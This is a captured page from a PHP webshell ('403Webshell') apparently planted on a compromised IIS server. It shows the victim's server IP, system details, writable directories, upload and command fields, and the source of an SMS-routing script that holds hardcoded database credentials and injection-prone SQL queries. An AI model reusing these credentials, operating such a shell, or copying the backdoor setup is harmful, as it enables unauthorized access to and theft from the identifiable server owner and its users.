403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /software/smsc smpp installer/software/Services/PHP/sendmessage/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /software/smsc smpp installer/software/Services/PHP/sendmessage/updatestatus.php
<?php

include "../general.php";
include "../connect.php";

date_default_timezone_set('Africa/Lagos'); 
$cnt = 1;
$cnt2=0;
while($cnt ==1){
    $query= "SELECT sn,messageid,status FROM thesmsworkslog where flag ='0' order by sn limit 1";
    $con=mysqli_connect("127.0.0.1","smsEngine","guEnaR28T","smartsmsrouter");
       ///Check connection
    if (mysqli_connect_errno())
    {
         return '#';
         die();
    }
    if(!$result= mysqli_query($con,$query))
    {
       mysqli_close($con);
     return "#";
    }
    else
    {
        
       while ($row = mysqli_fetch_array($result))
        {
            
            $sn = $row[0];
            $messageid = $row[1];
            $status =  $row[2];
            echo "Processing Status" ."\n";
            echo "Messageid ". $messageid."\n";
            echo "Status " .$status ."\n";
           
             //update the messagesent
             $query = "update messagesent set status ='$status',track='2' where messageid = '$messageid' ";
             $queryresponse = updateQuery($query);
           
            //update the record
              $query = "update thesmsworkslog set flag ='1' where sn = $sn ";
              $queryresponse = updateQuery($query);
              $cnt2++;
        
        sleep(5);
       
        }

      } //else
    
    


    echo "\nTotal Status Messages updated ... ".$cnt2 ."\n". date("Y-m-d h:i:s",time())."\n";
    sleep(15);
   
}//end main while


?>

Youez - 2016 - github.com/yon3zu
LinuXploit